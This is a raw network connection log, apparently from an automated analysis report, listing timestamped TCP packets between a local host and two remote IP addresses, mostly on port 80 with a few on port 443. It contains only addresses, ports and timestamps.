Nov 20, 2024 04:08:16.884906054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884942055 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.884967089 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.884994030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.885027885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.885045052 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.885063887 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.885097980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.885118961 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.885910034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.885945082 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.885977030 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.886004925 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886039019 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886060953 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.886074066 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886107922 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886126041 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.886145115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886194944 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.886274099 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886308908 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886344910 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886354923 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.886374950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886428118 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.886440992 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886477947 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.886524916 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.887815952 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.887851000 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.887886047 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.887907028 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.887923002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.887960911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.887993097 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.889617920 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.889652967 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.889687061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.889688969 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.889722109 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.889754057 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.889784098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.889811993 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.889837980 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.891371012 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.891401052 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.891437054 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.891453028 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.891488075 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.891505957 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.891525984 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.891560078 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.891577959 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892277956 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892340899 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892374992 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892406940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892441034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892469883 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892477036 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892512083 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892533064 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892550945 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892604113 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892616987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892702103 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892736912 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892760038 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892772913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892810106 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892829895 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892847061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892899990 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892901897 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.892935991 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892971039 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.892992973 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.893004894 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.893054008 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.894646883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894676924 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894728899 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.894728899 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894769907 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894802094 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894829035 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.894855976 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894887924 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.894922972 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.896481037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896516085 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896547079 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.896552086 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896603107 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.896604061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896642923 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896703005 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.896703959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896742105 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896771908 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896796942 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.896806955 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896842957 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896857023 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.896878004 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.896928072 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.898360014 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898395061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898448944 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898468018 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.898482084 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898519039 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898533106 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.898554087 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898587942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898613930 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.898639917 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898674011 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898694038 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.898710012 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898758888 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.898794889 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898828030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898861885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.898879051 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.900063992 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.900116920 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.900144100 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.900156021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.900192976 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.900213003 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.900255919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.900286913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.900320053 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.939663887 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.939728022 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.939819098 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.939825058 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.939908981 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.940145969 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.940192938 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.940221071 CET	62481	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.940237999 CET	443	62481	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.943516016 CET	62486	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.943598032 CET	443	62486	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.943684101 CET	62486	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.943862915 CET	62486	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:16.943886995 CET	443	62486	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:16.944915056 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959395885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959436893 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959492922 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959526062 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959530115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959566116 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959592104 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959619999 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959654093 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959683895 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959688902 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959722996 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959743977 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959778070 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959830046 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959836006 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959865093 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959903002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959922075 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.959938049 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959975958 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.959990025 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.960016012 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.960078001 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968044996 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968218088 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968255997 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968290091 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968291044 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968347073 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968348980 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968404055 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968439102 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968468904 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968475103 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968509912 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968539953 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968544006 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968579054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968607903 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968612909 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968648911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968683004 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968687057 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.968717098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.968736887 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.971115112 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971220970 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971256018 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971271992 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.971292019 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971307993 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.971352100 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971386909 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971409082 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.971424103 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971453905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.971477032 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.972775936 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.972841978 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.972903013 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.972933054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.972968102 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.972989082 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.973002911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.973037004 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.973057985 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.973074913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.973109007 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.973129034 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.974666119 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974699974 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974733114 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.974756002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974791050 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974812984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.974826097 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974859953 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974881887 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.974912882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974962950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.974965096 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.974997997 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975030899 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975050926 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.975066900 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975116014 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.975116968 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975152969 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975186110 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975207090 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.975222111 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.975275993 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.976458073 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976488113 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976521969 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976548910 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.976574898 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976603985 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976628065 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.976654053 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976690054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976712942 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.976721048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976758003 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.976783991 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.979940891 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.979991913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980011940 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.980106115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980140924 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980163097 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.980192900 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980226994 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980242014 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.980278015 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980313063 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980329037 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.980936050 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980988979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.980997086 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981066942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981121063 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981132030 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981170893 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981204987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981218100 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981235027 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981268883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981302977 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981303930 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981353998 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981355906 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981391907 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981421947 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981441021 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981471062 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981506109 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981525898 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981559992 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981595039 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981609106 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.981628895 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981663942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.981678009 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.983294010 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983356953 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.983361959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983417034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983460903 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983511925 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983547926 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983581066 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983582973 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.983616114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.983633995 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.984986067 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985022068 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985035896 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.985054016 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985104084 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.985105991 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985157013 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985193014 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985209942 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.985243082 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985276937 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985287905 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.985308886 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.985353947 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.989907980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.989959002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990016937 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990017891 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990053892 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990089893 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990112066 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990127087 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990161896 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990180969 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990197897 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990227938 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990251064 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990262985 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990298033 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990318060 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990331888 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990380049 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990397930 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990433931 CET	80	62475	34.116.198.130	192.168.2.4
